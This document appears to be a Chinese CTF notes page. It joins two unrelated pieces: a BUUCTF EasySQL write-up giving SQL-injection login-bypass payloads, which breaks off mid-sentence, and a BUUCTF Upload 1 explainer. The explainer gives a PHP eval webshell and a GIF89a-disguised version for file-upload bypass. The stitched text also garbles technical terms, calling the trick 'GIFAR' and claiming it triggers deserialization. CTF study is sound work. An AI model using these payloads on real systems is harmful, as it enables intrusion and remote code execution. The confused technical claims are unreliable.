buuctf EasySQL [极客大挑战 2019] 刷题笔记

解题思路

如图,登陆界面的SQL注入题目,首先想到的就是万能密码

输入用户名'or '1'='1'#

密码随便输入,比如123

万能密码的原理是利用or和and的优先级来使得后面的where子句为真

我们输入的payload放入sql完整语句如下

"select * from user where username=''or '1'='1'#and password='123' "

#后面的内容都被注释掉了,前面‘1’=‘1’,or语句左右有一处为真整条语句便为true

成功登陆

新想法

最近发现了一个特殊的万能密码

用户名随便填一串字符加上'='

例如dadawdaw'='

密码也是

就会如下

"select * from user where username='dawdawdaw'=''and password='dawdadda'=
### 关于 BUUCTF 极客挑战 2019 中 Upload 1 目分析 #### 背景介绍 BUUCTF 是一个知名的网络安全竞赛平台,其中的极客挑战系列目涵盖了多种安全漏洞利用技巧。Upload 1 属于文件上传类目,在这类目中通常会涉及到服务器端对于上传文件类型的验证机制以及可能存在的绕过方法。 #### 文件上传漏洞原理 当 Web 应用程序允许用户上传文件时,如果对上传的内容缺乏严格的安全检查,则可能导致攻击者能够上传恶意脚本并执行任意代码。常见的防御措施包括但不限于 MIME 类型检测、扩展名过滤等[^1]。 #### 解思路 针对此目的具体实现方式可以归纳为以下几个方面: - **MIME 类型伪造** PHP 使用 `$_FILES` 数组来处理上传的数据,默认情况下仅依赖客户端提供的 Content-Type 头部信息判断文件类型。然而这些头部是可以被轻易篡改的。因此可以通过修改 HTTP 请求中的相应部分使服务端误认为所提交的是合法图片而非其他形式的可执行文件。 - **PHP 后门植入** 利用上述手段成功上传 .php 结尾或其他能被执行解释器解析运行的文件之后,便可以在该文件内嵌入一段用于远程控制目标主机的小段落,比如一句话木马: ```php <?php @eval($_POST['cmd']);?> ``` - **绕过白名单限制** 如果存在基于文件头特征码(magic number)或者图像尺寸小等方面更严格的校验逻辑的话,那么就需要寻找特定格式下既满足条件又隐藏有潜在威胁特性的样本作为载体;或者是探索是否有其它途径可以直接影响到最终保存路径从而规避掉这部分审核流程。 #### 实际操作案例展示 假设当前环境已经确认支持 GIF89a 开始标记并且不会因为后续附加内容而报错的情况下,我们可以构造这样一个混合体——即所谓的“GIFAR”(Gif+Jar) 攻击向量: ```gif GIF89a; <?php @eval($_POST['cmd']);?> ``` 将其命名为 `.jpg.php` 或类似的双后缀命名模式尝试突破单纯的字符串匹配规则限制,并通过浏览器访问触发反序列化过程完成提权动作获取 shell 访问权限。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值